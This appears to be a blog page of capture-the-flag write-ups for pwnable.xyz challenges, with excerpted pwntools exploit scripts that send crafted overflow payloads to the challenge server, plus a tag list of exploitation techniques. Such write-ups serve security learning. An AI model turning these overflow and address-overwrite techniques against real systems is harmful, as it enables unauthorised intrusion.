We begin by looking at the protections of the binary. We have several problems and we can not execute code in the stack due to NX protection and we do not see the possibility of an overflow due to canary. We also have PIE activated and full relro so GOT dereferencing/overwriting will not be possible. We start with option 3 that will call the print_flag function. If we see inside the function we ..
Exploit from pwn import * context.log_level = 'debug' p = remote("svc.pwnable.xyz",30031) #p = process('./two_targets') #gdb.attach(p,''' #break *0x00400bd1 #continue #''') payload = "Did_you_really_miss_the_"+"\xc8"+"T_b"+"\x7f"+"D"+"\x84"+"\xf3" p.recvuntil("> ") p.sendline("1") p.recvuntil("name: ") p.sendline(payload) p.recvuntil("> ") p.sendline("4") p.recvuntil("> ") p.interactive()
Exploit from pwn import * import time context.log_level = 'debug' p = remote("svc.pwnable.xyz",30016) #p = process('./note') #gdb.attach(p,''' #break *0x0000000000400a10 #continue #''') p.recvuntil("> ") p.sendline("1") p.recvuntil("Note len? ") p.sendline("38") p.recvuntil("note: ") payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x12\x60\x00" p.sendline(payload) p.recvuntil("> ") p.sendline("2"..
Challenge GrownUp from pwnable.xyz nc svc.pwnable.xyz 30004 Exploit from pwn import * context.log_level = 'debug' p = remote("svc.pwnable.xyz",30004) #p = process('./GrownUpRedist') #gdb.attach(p,''' #break *0x0000000000400914 #continue #''') p.recvuntil("Are you 18 years or older? [y/N]: ") payload = "\x79"+"aaaBCCC"+"\x80\x10\x60" p.sendline(payload) p.recvuntil("Name: ") #payload = "AAAABBBBA..
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- Today
- Yesterday
- Backdoors
- leak libc
- write primitive
- ASM
- Pwnable.kr
- pwnable.xyz
- pwnable.tw
- theFaunia course
- x64dbg
- open-redirect
- format string
- stack pivot
- 32Bit
- GOT Dereferencing/Overwriting
- one gadget
- XSS
- Windows
- cracking
- shellcode
- arithmetic overflow/underflow
- use after free
- fake stack frame
- dnspy
- html injection
- canary
- return oriented programming
- hijacking redirection flow
- leak stack memory address
- buffer overflow
- Call oriented programming
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